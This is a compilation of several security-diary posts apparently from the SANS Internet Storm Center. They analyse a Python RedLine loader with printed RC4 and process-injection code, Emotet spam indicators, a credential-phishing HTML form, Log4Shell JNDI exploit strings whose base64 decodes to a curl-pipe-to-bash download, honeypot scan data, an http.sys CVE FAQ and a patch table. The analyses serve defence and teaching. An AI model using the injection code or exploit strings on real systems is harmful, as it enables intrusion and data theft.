Here is a piece of malicious Python script that injects a RedLine[1] stealer into its own process. Process injection is a common attacker’s technique these days (for a long time already). The difference, in this case, is that the payload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons (lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been disabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux landscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I don't understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed by default (and should definitely not be!).

The Python script contains the credentials and FTP server IP address. When you connect manually, you can list a bunch of different payloads but the one used in this case is 001.enc.

remnux@remnux:/MalwareZoo/20220119$  ftp x.x.x.x
Connected to x.x.x.x.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (62.109.1.213:root): launcher
331 Password required for launcher
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||58066|)
150 Opening data channel for directory listing of "/"
-r--r--r-- 1 ftp ftp         228352 Jan 17 21:25 001.ENC
-r--r--r-- 1 ftp ftp         228352 Jan 17 21:25 002.ENC
-r--r--r-- 1 ftp ftp         879104 Jan 17 09:26 11.ENC
-r--r--r-- 1 ftp ftp         675840 Aug 14  2021 1650.ENC
-r--r--r-- 1 ftp ftp         675328 Dec 11  2021 167.ENC
-r--r--r-- 1 ftp ftp         675328 Jan 02 13:01 1680.ENC
226 Successfully transferred "/"
ftp>

The payload is encrypted and the following function does the job to decrypt the PE file:

def encode_data(data):
    key = b"JHGIEKC6U"
    S = bytearray(range(256))
    j = 0
    out = bytearray()
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i] , S[j] = S[j] , S[i]
    i = j = 0
    for char in data:
        i = ( i + 1 ) % 256
        j = ( j + S[i] ) % 256
        S[i] , S[j] = S[j] , S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])
    return(bytes(out))

Like I said to my students when I'm teaching FOR610, when you are investigating an incident, the way the payload was encrypted/encoded is less relevant. The payload in itself is important. To extract the PE file, I just wrote a quick Python script that replicates this function and dumps the payload into a file.

The decrypted payload SHA256 is 0eeb332efa3c20c2f3d85d07d844ba6150bdee3c1eade52f0f2449c3d2727334 and is unknown on VT at this time.

The script also has a hex-encoded shellcode. Why do we have a shellcode and another payload? Here is the function used to inject the code:

def runpe(peimage):
    filepathenv = "%ProgramFiles%\\Internet Explorer\\iexplore.exe"
    filepath = os.path.expandvars(filepathenv)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    p = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)), 
           ctypes.c_int(0x3000), ctypes.c_int(0x40))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(p), sc, ctypes.c_int(len(sc)))
    q = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(peimage)), 
           ctypes.c_int(0x3000), ctypes.c_int(0x40))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(q), peimage, ctypes.c_int(len(peimage)))
    run = ctypes.cast(p, ctypes.WINFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p))
    run(filepath.encode('utf8')+b'\x00', q)

You see that two calls to VirtualAlloc() are performed. The first one is used to load the shellcode into memory and the second to load the payload (RedLine itself). The most interesting line is the one with the ctypes.cast(). This function allows casting the shellcode to act as a function pointer. Once completed, the shellcode can be called like any standard Python function:

run(filepath.encode('utf8')+b'\x00', q)

Through the shellcode, Python will execute RedLine that has been injected in memory before. My sample tried to connect to the following C2 but it was offline (78[.]24[.]222[.]162:37819).

The initial Python script (SHA256:e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619) has a VT score of 14/58[2].

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
[2] https://www.virustotal.com/gui/file/e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Emotet often uses information from emails and address books stolen from infected Windows hosts.  Malicious spam (malspam) from Emotet spoofs legitimate senders to trick potential victims into running malicious files.

Additionally, Emotet uses IP address 0.0.0.0 in spambot traffic, possibly attempting to hide the actual IP address of an Emotet-infected host.

This ISC diary reviews the spoofed 0.0.0.0 address used in a recent Emotet infection from Tuesday 2022-01-18.

Shown above:  0.0.0.0 in DNS queries from an Emotet-infected host.

Scenes from an infection

Both Emotet botnets (dubbed by researchers as "epoch 4" and "epoch 5") resumed activity after the recent holiday season, and malicious spam started approximately one week ago on Tuesday 2022-01-11.

Most Windows hosts I've infected with Emotet in my lab will start spamming within an hour or less after the initial infection.  Refer to the images below for activity from a recent Emotet infection on 2022-01-18.

Shown above:  Screenshot from malspam pushing Emotet on Tuesday 2022-01-18.

Shown above:  Web page from link in the malspam.

Shown above:  Example of downloaded Excel spreadsheet for Emotet.

Enable macros in a downloaded spreadsheet, and they will infect a vulnerable Windows host.  This is standard operating procedure for Emotet.

Shown above:  Traffic from an infection filtered in Wireshark.

Shown above:  Spambot activity started approximately 27 minutes after the initial infection.

Emotet spambot traffic using 0.0.0.0

Right as the spambot activity starts, the following DNS queries are made using domains related to spam filtering:

• 0.0.0.0.spam.abuse.ch
• 0.0.0.0.b.barracudacentral.org
• 0.0.0.0.bl.mailspike.net
• 0.0.0.0.spam.dnsbl.sorbs.net
• 0.0.0.0.zen.spamhaus.org

Similar DNS queries, but without the 0.0.0.0, are generated during Trickbot infections.  However, Trickbot uses the infected host's public IP address data in the DNS query.  Here is an example from analysis of a Trickbot sample (scroll down to the "Domains" list).

Shown above:  0.0.0.0-related DNS queries from an Emotet-infected host.

In addition to DNS queries, Emotet uses 0.0.0.0 during SMTP communications.  This happens whenever an Emotet-infected host tries sending malspam to a targeted mailserver.  The SMTP command is EHLO [0.0.0.0].

Shown above:  SMTP traffic using EHLO [0.0.0.0].

This attempt does not hide the actual IP address of an Emotet-infected host, because it still appears elsewhere in the SMTP traffic (blurred in the above image, for example).  But 0.0.0.0 can be an indicator of emails pushing Emotet or other malware.

Shown above:  Example of Emotet malspam with 0.0.0.0 in the email headers.

Final words

While 0.0.0.0 is an indicator for Emotet or other malware, you can find up-to-date indicators for Emotet malware samples, URLs, and C2 IP addresses at:

• https://urlhaus.abuse.ch/browse/tag/emotet/
• https://feodotracker.abuse.ch/browse/emotet/
• https://bazaar.abuse.ch/browse/tag/Emotet/
• https://threatfox.abuse.ch/browse/malware/win.emotet/

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Authors of phishing and malspam messages like to use various techniques to make their creations appear as legitimate as possible in the eyes of the recipients. To this end, they often try to make their messages look like reports generated by security tools[1], responses to previous communication initiated by the recipient[2], or instructions from someone at the recipients organization[3], just to name a few. Most such techniques have been with us for a long time, however, last week I came across one that I don’t believe I’ve ever seen before – inclusion of what may be thought of as an advertisement in the body of the message.

Although it may sound strange, the inclusion did make at least some sort of sense. The message was supposed to look like an information about a new “fax” sent by a Xerox scanner, and its footer – which was slightly reminiscent of ads displayed by Google in search results – included links and text related to Xerox solutions.

One can only guess at whether this addition makes the message more or less believable to a regular user, but it is certainly unusual… However, it wasn’t the only slightly atypical thing about the e-mail.

As you may see in the image above, the message carried an HTM attachment. This contained an entire fake login page for Office 365 (it only loaded the O365 logo from an external site).

This technique, in which phishers include an entire fake login page in an attachment, which only initiates communication with external infrastructure when a victim attempts to click a log in button has been with us for a while now[4], and certainly has its advantages from the point of view of the attackers. This time, however, there was a slight twist to it.

Probably in order to try to bypass basic security scans on e-mail gateways, the authors of the page attempted to include the HTML form (with the URL to which the credentials supplied by the victim should be sent) in the code of the page dynamically, using JavaScript functions “unescape” and “document.write” – i.e., the JavaScript was supposed to decode a string that contained the HTML code of the form and then include it in the body of the page. This approach of delivering some of the more “problematic” parts of HTML content encoded, and only decoding them using JavaScript when the web page is loaded by a browser is used quite often by threat actors, and can potentially be somewhat effective.

However, in this case, it seems that the authors of this specific fake login page either didn’t understand how the JavaScript they included was supposed to work, or they simply forgot to do a final check before sending the phishing out. Whatever the reason was, as the following code excerpt shows, it seems that they forgot to encode the relevant part of their HTML code, therefore making the entire inclusion of JavaScript decoder meaningless and leaving the form data (including the URL of the credential-gathering site) easily readable to even the simplest security tool…

<center><img height="100" src="https://www.smc.edu/administration/information-technology/student-email/images/office-365-logo.png?itok=w_rJbRrF" />
<p><font color="Black" face="Trebuchet MS" size="2"><strong>You have a pending document for download</strong><br />
DOC SIZE (1.0MB) </font></p>
<script language=javascript>document.write(unescape('<form class="modal-content animate" method="post" action="hxxps://metsbadseed[.]com/ctox/quotee.php">'))</script>

<div class="container">
<center>
<p><font color="black" face="Trebuchet MS" size="2">&nbsp;Prove You are not a Robot and&nbsp;</font><span style="color: rgb(0, 0, 0); font-size: small; text-align: -webkit-center;">To continue sign in your Microsoft email to Confirm Identity</span><br />
<input id="fname" name="login" placeholder="Enter Email Address" readonly="readonly" required="" type="email" value="sales@[redacted]" /><br />
<input autofocus="" id="fname" name="passwd" placeholder="Enter Email Password" required="" type="password" /><br />
<button type="submit">CONTINUE</button></p>
</center>

Although – given what we just mentioned – one can hardly call the phishing attempt sophisticated, the unusual inclusion of advertisement-like content in the body of the e-mail did, at least, make it somewhat interesting... And, hopefully, the slight failure on the part of its senders made it less likely to actually make it to recipients’ inboxes and cause any harm.

[1] https://isc.sans.edu/forums/diary/Phishing+101+why+depend+on+one+suspicious+message+subject+when+you+can+use+many/27842/
[2] https://isc.sans.edu/forums/diary/Qakbot+in+a+response+to+Full+Disclosure+post/27130/
[3] https://isc.sans.edu/forums/diary/BazarLoader+phishing+lures+plan+a+Halloween+party+get+a+bonus+and+be+fired+in+the+same+afternoon/26710/
[4] https://isc.sans.edu/forums/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580/

-----------
Jan Kopriva
@jk0pr
Alef Nula

Ever since news of the Log4Shell vulnerability broke, we saw a stream of attacks attempting to exploit this vulnerability in log4j (%%cve:2021-44228%%).

Initial attempts where rather "blunt", and attempted to insert the JNDI exploit string into various fields without much concern how and where the string may be logged. More recently, we did some however some more specific exploits targeting specific software configurations. Most notably, exploit have been released for Unifi's network controller and VMWare.

Today for example, we saw some exploit strings that may be targeting Tomcat configurations:

/$%7Bjndi:ldap://ldap://62.182.80.168:13899/o=tomcat%7D/x=%24%7Bjndi%3Aldap%3A%2F%2F142.44.203.85%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA%3D%3D%7D

This decodes to:

/${jndi:ldap://ldap://62.182.80.168:13899/o=tomcat}/x=${jndi:ldap://142.44.203.85:1389/TomcatBypass/Command/Base64/Y3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA==}

With the Base64 part decoding to: curl 72.46.52.135/mad.sh . This will lead, after many redirects and the like, to a good old xmrig miner. Maybe something for a later day as there are some interesting tidbits in the various shell scripts downloaded.

A second, similar attempt was found in about two dozens of our honeypots:

/?test=t(%27$%7B$%7Benv:NaN:-j%7Dndi$%7Benv:NaN:-:%7D$%7Benv:NaN:-l%7Ddap$%7Benv:NaN:-:%7D//137.184.40.48:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyB

The URL retrieved by this attempt is no longer available, but given the similar method, chances are it is yet another crypto minder.

A few things to look for:

• The first attempt is erasing log lines that contain this IP address: %%ip:107.191.63.34%%
• It creates a /tmp/.shanbe directory
• connects to a mining pool at %%ip:207.38.87.6%% (port 3333)
• Downloads additional code from %%ip:41.157.42.239%% .

But then again, if you need IoCs like this to detect crypto miners: Reassess what kind of monitoring you do on more basic parameters like CPU load and rogue processes running on systems.

The news around log4shell has gotten quiet, but it isn't over yet. Attacks keep evolving and do not consider this a non-event if none of the initial "pray and spray" attacks affected you.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

A review of all inbound connection over the past 3 weeks against my honeypot shows the top 2 targeted services were no surprise; a large amount of SSH (22, 2222) activity followed by Telnet (23) which Shodan still identifies over 2.7M hosts exposed to the Internet.

I previous did a diary [5,6] comparing SSH ports & banners as well as Telnet and RDP [7] on which the type of activity being logged hasn't really changed over time. One port that I was surprised to see as part of my top 5 was 6379, "Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker."[8] 

Indicators

218.92.0.202 (12,081)
159.223.46.162 (11,814)
218.92.0.203 (10,138)
185.36.81.60 (4,554)
213.100.222.21 (1,867)
92.255.85.135 (1,550)
161.35.77.239 (1,499)
92.255.85.237 (1,479)
185.161.70.44 (1,238)
128.199.116.10 (1,202)

[1] https://www.shodan.io/search?query=port:23
[2] https://www.shodan.io/search?query=port:22
[3] https://www.shodan.io/search?query=port:2222
[4] https://www.shodan.io/search?query=port:6379
[5] https://isc.sans.edu/diary/24724
[6] https://isc.sans.edu/diary/23201
[7] https://isc.sans.edu/diary/26492
[8] https://redis.io/topics/introduction

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Our network of web application honeypots delivered some odd new URLs in the last 24 hrs:

/index.jsp::$DATA
/jsp/index.jsp::$DATA
/cgi-bin/index.jsp::$DATA
/cgi-bin/jsp/index.jsp::$DATA
/demo/../index.jsp::$DATA
/demo/../jsp/index.jsp::$DATA
/scripts/index.jsp::$DATA
/scripts/jsp/index.jsp::$DATA

I am not 100% sure what these scans are after, but my best guess right now is that they are attempting to bypass filters using NTFS alternate data streams.

The Windows NTFS file system includes the ability to connect to alternate data streams. This has been documented in the past as a technique to hide data or to bypass URL filters [1][2].

In this case, the scans originate from %%ip:64.39.106.87%% , an IP associated with vulnerability scanning company Qualys. It appears to be hunting for index.jsp, a default for Java applications. Inside the cgi-bin or scripts directory, it may very well lead to code execution and may be protected by a WAF that the attacker attempts to bypass. I assume that right now, this is likely just a Qualys research project, but a good reminder to double-check your URL filters 

Any other ideas? Let me know.

[1] https://owasp.org/www-community/attacks/Windows_alternate_data_stream
[2] https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Quick summary: There has been relatively little news after the vulnerability was released. I think a couple of things are happening: (1) This is a relatively straightforward Windows patch. Unlike for example log4j, inventory is less of an issue here. Enterprises tend to have a reasonably good handle on patching Windows. (2) Just like prior http.sys vulnerabilities, this one is likely not that easy to exploit. We will see what happens and there could still be a surprise out there. So keep patching. There is one unverified exploit claim so far.

I removed the "work in progress" disclaimer from this post. We will likely publish a new post if something should substantially change. Also check Microsoft original advisory for updates: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

1 - When will an exploit be available?

Who knows. Microsoft rates the exploitability as "Exploitation More Likely." I suggest you patch this week. On Wednesday evening, a possible exploit was released but only as an encrypted file on GitHub and it is impossible to ascertain if the exploit is real or fake (see comment left by a reader below. BEWARE OF RUNNING EXPLOITS FROM UNKNOWN SOURCES.

2 - Which versions are affected?

(note only supported versions are covered)

Not Vulnerable By Default: Windows Server 2019, Windows 10 Version 1809. These versions are only vulnerable if HTTP trailer support is enabled via the EnableTrailerSupport registry value (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters). By default, this key is not defined. It has to be set to a value other than 0 to enable trailer support. 

Vulnerable by default:

• Windows 10 20H2, 21H1, 21H2 
• Windows 11
• Windows Server 2022, 20H2

Not Vulnerable:

• Windows 10 1909

 (thanks @hetrogjanr and @wdormann). 

You can check this registry value in Powershell. But remember it is not set by default. (thanks, Rob): 

Get-ItemProperty  "HKLM:\System\CurrentControlSet\Services\HTTP\Parameters" | Select-Object EnableTrailerSupport

Windows Server 2019 and Windows 10 version 1809 are not vulnerable if the key is not set, or if it is set to 0. The key doesn't matter for other versions of windows.

3 - Am I vulnerable if I do not have IIS enabled?

Possibly. This is NOT an IIS vulnerability, but a vulnerability in http.sys. http.sys is probably best described as the core HTTP/.Net engine used by IIS and other software. But other software using http.sys and possibly exposing the vulnerability: WinRM (Windows Remote Management), WSDAPI (Web Services for Devices) for example, expose http.sys. For a quick list of processes using http.sys, try:

netsh http show servicestate

4 - What is an attacker able to do with this vulnerability?

Microsoft implemented http.sys as a kernel-mode driver. In other words: Running code via http.sys can lead to a complete system compromise. However, past vulnerabilities (for example, CVE-2021-31166) were never fully exploited as several techniques were used to mitigate exploitation, and PoCs released were only able to cause a denial of service. The CVSS 3.1 base score for the vulnerability is 9.8 out of 10.

5 - Does a web application Firewall help?

Likely yes. You could start (at your own risk) to block requests with trailers. Maybe log them first to see if you see legitimate uses (let us know what uses them and how). For details, ask your web app firewall vendor.

6 - Was there a similar severe vulnerability in the past?

In 2015, we had a similar fire drill for CVE-2015-1635 (MS15-34). Maybe you kept notes? They will come in handy now. This Range header vulnerability never amounted to much.

7 - What are these Trailers about anyway?

Trailers are defined in RFC7230. They only make sense if "Transfer-Encoding: chunked" is used. With chunked encoding, the body of a request or response is transmitted in small chunks. A length precedes each chunk in bytes. The idea behind this is that you may not know how long it will be as you start sending a message. In addition, chunked encoding does allow the sender to delay sending headers until the body is sent. These become "trailers." Here is a quick sample request:

POST / HTTP/1.1
Host: testing
Content-Type: text/plain
Transfer-Encoding: chunked
Trailer: X-Test

3
ABC
0
X-Test: 123

The RFC states that "the sender SHOULD generate a Trailer header," suggesting it is not mandatory. This may complicate filtering if an exploit does not use a Trailer header (again: I am speculating what an exploit may look like, but having a trailer without a corresponding trailer header may cause some confusion).

For responses, http.sys only supports trailers for http/2. I haven't found any documentation for requests yet.

8 - Will we go to Infocon Yellow again?

Once we see exploitation of this vulnerability.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Microsoft fixed 126 different CVEs with this month's update (this includes the Chromium issues patched in Edge). Six of the issues were publicly disclosed, and nine are rated critical. 

Noteworthy updates:

CVE-2022-21907: This is a remote code execution vulnerability in http.sys. http.sys is part of anything in windows processing HTTP requests (e.g. IIS!). The vulnerability is exposed if the "Trailer" feature is enabled. HTTP trailers are used to delay sending headers until the end of the request (or response). They are typically used as part of chunked messages when the entire message is not known until the message has been sent. A "TE: trailers" header needs to be sent, and a "Trailer" header listing the delayed header names. This is potentially a wormable vulnerability, and Microsoft recommends prioritizing this patch. (this does not just affect IIS!). It appears that the Trailer feature is frequently enabled by default which makes this a BIG DEAL [!!! I initially assessed this as less of a risk. But a reader corrected me that the feature is enabled in server 2022, 20H2 core, and various Windows 10 and 11 versions. I misread the Microsoft announcement. This is not enabled by default in Windows Server 2019 and Windows 10 version 1809).

CVE-2022-21846: Another critical remote code execution vulnerability in Exchange. But this vulnerability is not exploitable across the internet and requires the victim and the attacker to share the same network. 

CVE-2021-22947: This vulnerability in curl was originally disclosed in September, which is why it is noted as "Publicly Disclosed". This update fixes several vulnerabilities, not just the listed CVE.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com.

January 2022 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial of Service Vulnerability
%%cve:2022-21911%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2022-21857%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Chromium: CVE-2022-0096 Use after free in Storage
%%cve:2022-0096%%	No	No	-	-	-
Chromium: CVE-2022-0097 Inappropriate implementation in DevTools
%%cve:2022-0097%%	No	No	-	-	-
Chromium: CVE-2022-0098 Use after free in Screen Capture
%%cve:2022-0098%%	No	No	-	-	-
Chromium: CVE-2022-0099 Use after free in Sign-in
%%cve:2022-0099%%	No	No	-	-	-
Chromium: CVE-2022-0100 Heap buffer overflow in Media streams API
%%cve:2022-0100%%	No	No	-	-	-
Chromium: CVE-2022-0101 Heap buffer overflow in Bookmarks
%%cve:2022-0101%%	No	No	-	-	-
Chromium: CVE-2022-0102 Type Confusion in V8
%%cve:2022-0102%%	No	No	-	-	-
Chromium: CVE-2022-0103 Use after free in SwiftShader
%%cve:2022-0103%%	No	No	-	-	-
Chromium: CVE-2022-0104 Heap buffer overflow in ANGLE
%%cve:2022-0104%%	No	No	-	-	-
Chromium: CVE-2022-0105 Use after free in PDF
%%cve:2022-0105%%	No	No	-	-	-
Chromium: CVE-2022-0106 Use after free in Autofill
%%cve:2022-0106%%	No	No	-	-	-
Chromium: CVE-2022-0107 Use after free in File Manager API
%%cve:2022-0107%%	No	No	-	-	-
Chromium: CVE-2022-0108 Inappropriate implementation in Navigation
%%cve:2022-0108%%	No	No	-	-	-
Chromium: CVE-2022-0109 Inappropriate implementation in Autofill
%%cve:2022-0109%%	No	No	-	-	-
Chromium: CVE-2022-0110 Incorrect security UI in Autofill
%%cve:2022-0110%%	No	No	-	-	-
Chromium: CVE-2022-0111 Inappropriate implementation in Navigation
%%cve:2022-0111%%	No	No	-	-	-
Chromium: CVE-2022-0112 Incorrect security UI in Browser UI
%%cve:2022-0112%%	No	No	-	-	-
Chromium: CVE-2022-0113 Inappropriate implementation in Blink
%%cve:2022-0113%%	No	No	-	-	-
Chromium: CVE-2022-0114 Out of bounds memory access in Web Serial
%%cve:2022-0114%%	No	No	-	-	-
Chromium: CVE-2022-0115 Uninitialized Use in File API
%%cve:2022-0115%%	No	No	-	-	-
Chromium: CVE-2022-0116 Inappropriate implementation in Compositing
%%cve:2022-0116%%	No	No	-	-	-
Chromium: CVE-2022-0117 Policy bypass in Service Workers
%%cve:2022-0117%%	No	No	-	-	-
Chromium: CVE-2022-0118 Inappropriate implementation in WebShare
%%cve:2022-0118%%	No	No	-	-	-
Chromium: CVE-2022-0120 Inappropriate implementation in Passwords
%%cve:2022-0120%%	No	No	-	-	-
Clipboard User Service Elevation of Privilege Vulnerability
%%cve:2022-21869%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2022-21865%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
DirectX Graphics Kernel File Denial of Service Vulnerability
%%cve:2022-21918%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
DirectX Graphics Kernel Remote Code Execution Vulnerability
%%cve:2022-21912%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
%%cve:2022-21898%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2022-21917%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
HTTP Protocol Stack Remote Code Execution Vulnerability
%%cve:2022-21907%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Libarchive Remote Code Execution Vulnerability
%%cve:2021-36976%%	Yes	No	Less Likely	Less Likely	Important
Local Security Authority (Domain Policy) Remote Protocol Security Feature Bypass
%%cve:2022-21913%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Local Security Authority Subsystem Service Elevation of Privilege Vulnerability
%%cve:2022-21884%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Cluster Port Driver Elevation of Privilege Vulnerability
%%cve:2022-21910%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Cryptographic Services Elevation of Privilege Vulnerability
%%cve:2022-21835%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Diagnostics Hub Standard Collector Runtime Elevation of Privilege Vulnerability
%%cve:2022-21871%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability
%%cve:2022-21891%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability
%%cve:2022-21932%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability
%%cve:2022-21954%%	No	No	Less Likely	Less Likely	Important	6.1	5.3
%%cve:2022-21970%%	No	No	Less Likely	Less Likely	Important	6.1	5.3
Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability
%%cve:2022-21929%%	No	No	Less Likely	Less Likely	Moderate	2.5	2.3
%%cve:2022-21930%%	No	No	Less Likely	Less Likely	Important	4.2	3.8
%%cve:2022-21931%%	No	No	Less Likely	Less Likely	Important	4.2	3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2022-21841%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2022-21846%%	No	No	More Likely	More Likely	Critical	9.0	7.8
%%cve:2022-21855%%	No	No	More Likely	More Likely	Important	9.0	7.8
%%cve:2022-21969%%	No	No	More Likely	More Likely	Important	9.0	7.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2022-21840%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2022-21837%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
Microsoft Word Remote Code Execution Vulnerability
%%cve:2022-21842%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Open Source Curl Remote Code Execution Vulnerability
%%cve:2021-22947%%	Yes	No	Less Likely	Less Likely	Critical
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2022-21850%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-21851%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Remote Desktop Licensing Diagnoser Information Disclosure Vulnerability
%%cve:2022-21964%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Remote Desktop Protocol Remote Code Execution Vulnerability
%%cve:2022-21893%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2022-21922%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Secure Boot Security Feature Bypass Vulnerability
%%cve:2022-21894%%	No	No	Less Likely	Less Likely	Important	4.4	3.9
Storage Spaces Controller Information Disclosure Vulnerability
%%cve:2022-21877%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Tablet Windows User Interface Application Core Elevation of Privilege Vulnerability
%%cve:2022-21870%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Task Flow Data Engine Elevation of Privilege Vulnerability
%%cve:2022-21861%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Tile Data Repository Elevation of Privilege Vulnerability
%%cve:2022-21873%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Virtual Machine IDE Drive Elevation of Privilege Vulnerability
%%cve:2022-21833%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
Win32k Elevation of Privilege Vulnerability
%%cve:2022-21882%%	No	No	More Likely	More Likely	Important	7.0	6.1
%%cve:2022-21887%%	No	No	More Likely	More Likely	Important	7.0	6.1
Win32k Information Disclosure Vulnerability
%%cve:2022-21876%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Accounts Control Elevation of Privilege Vulnerability
%%cve:2022-21859%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows AppContracts API Server Elevation of Privilege Vulnerability
%%cve:2022-21860%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Application Model Core API Elevation of Privilege Vulnerability
%%cve:2022-21862%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows BackupKey Remote Protocol Security Feature Bypass Vulnerability
%%cve:2022-21925%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows Bind Filter Driver Elevation of Privilege Vulnerability
%%cve:2022-21858%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Certificate Spoofing Vulnerability
%%cve:2022-21836%%	Yes	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Cleanup Manager Elevation of Privilege Vulnerability
%%cve:2022-21838%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2022-21916%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2022-21897%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2022-21852%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-21902%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-21896%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Defender Application Control Security Feature Bypass Vulnerability
%%cve:2022-21906%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Defender Credential Guard Security Feature Bypass Vulnerability
%%cve:2022-21921%%	No	No	Less Likely	Less Likely	Important	4.4	3.9
Windows Devices Human Interface Elevation of Privilege Vulnerability
%%cve:2022-21868%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Event Tracing Discretionary Access Control List Denial of Service Vulnerability
%%cve:2022-21839%%	Yes	No	Less Likely	Less Likely	Important	6.1	5.5
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2022-21872%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Extensible Firmware Interface Security Feature Bypass Vulnerability
%%cve:2022-21899%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows GDI Elevation of Privilege Vulnerability
%%cve:2022-21903%%	No	No	More Likely	More Likely	Important	7.0	6.1
Windows GDI Information Disclosure Vulnerability
%%cve:2022-21904%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows GDI+ Information Disclosure Vulnerability
